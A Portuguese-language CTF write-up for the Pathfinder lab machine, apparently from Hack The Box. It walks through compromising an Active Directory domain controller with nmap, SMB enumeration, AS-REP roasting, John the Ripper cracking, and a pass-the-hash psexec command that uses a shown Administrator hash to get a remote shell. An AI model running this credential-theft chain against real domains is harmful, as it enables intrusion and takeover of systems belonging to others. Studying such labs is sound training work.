# nmap -sC -sV -v -Pn 10.10.10.30
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-24 08:52 EDT
....................................
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-09-24 20:06:48Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: PATHFINDER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h13m57s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2021-09-24T20:07:01
|_ start_date: N/A
Tudo indica que este
No laboratório passado (Shield) conseguimos obter as credenciais do AD da sandra:
1 - checar se consigo usar as credenciais da sandra para enumerar compartilhamentos de rede:
# smbclient -U sandra -L \\\\10.10.10.30\\ 1 ⨯
Enter WORKGROUP\sandra's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available
O resultado acima mostra que nossas credenciais testadas são válidas. Vamos agora checar se temos direito a gravar em algum dos diretórios listados:
# python3 /usr/share/doc/python3-impacket/examples/psexec.py megacorp/sandra:'Password1234!'@10.10.10.30 127 ⨯
Impacket v0.9.24.dev1+20210726.180101.1636eaab - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on 10.10.10.30.....
[-] share 'ADMIN$' is not writable.
[-] share 'C$' is not writable.
[-] share 'NETLOGON' is not writable.
[-] share 'SYSVOL' is not writable.
Infelizmente o escopo do usuário "sandra" é limitado. Faremos outras tentativas.
Exploração
Vamos checar se existe algum usuário habilitado no kerberos que possa realizar algumas requisições interessantes no servidor sem necessitar autenticação por senha. O script em python GetNPUsers.py no ajuda a fazer isso. Basicamente ele tentará fazer o seguinte:
The script will attempt to list and get TGTs for those users that have the property 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH). For those users with such configuration, a John The Ripper output will be generated so you can send it for cracking.
E agora tentaremos entar quebrar este hash através do john.
# john hash.txt -wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Sheffield19 ($krb5asrep$svc_bes@MEGACORP.LOCAL)
1g 0:00:00:23 DONE (2021-09-24 11:09) 0.04228g/s 448330p/s 448330c/s 448330C/s Sherbear94..Sheepy04
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Agora temos então mais uma credencial válida para o host PATHFINDER:
user: svc_bes
pass: Sheffield19
Aparentemente, o usuário "svc_bes" tem algumas permissões mais elevadas do que o usuário "sandra".
Vamos tentar levantar hashes de outros usuários a partir do user "svc_bes" através do secrecsdump.py
Feito isso, temos em mãos agora o hash do usuário administrator. Poderíamos tentar quebrar ela usando o john ou o hashcat, mas também podemos usar a técnica pass the hash, onde usaremos a hash para conseguir uma shell ao invés da senha.
# psexec.py MEGACORP.LOCAL/Administrator@10.10.10.30 -hashes aad3b435b51404eeaad3b435b51404ee:8a4b77d52b1845bfe949ed1b9643bb18
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 10.10.10.30.....
[*] Found writable share ADMIN$
[*] Uploading file EtScLWQX.exe
[*] Opening SVCManager on 10.10.10.30.....
[*] Creating service sIKp on 10.10.10.30.....
[*] Starting service sIKp.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Acabamos de ganhar uma shell remota no servidor!
Pós Exploração
Basta coletar as flags do usuário comum e também do administrator.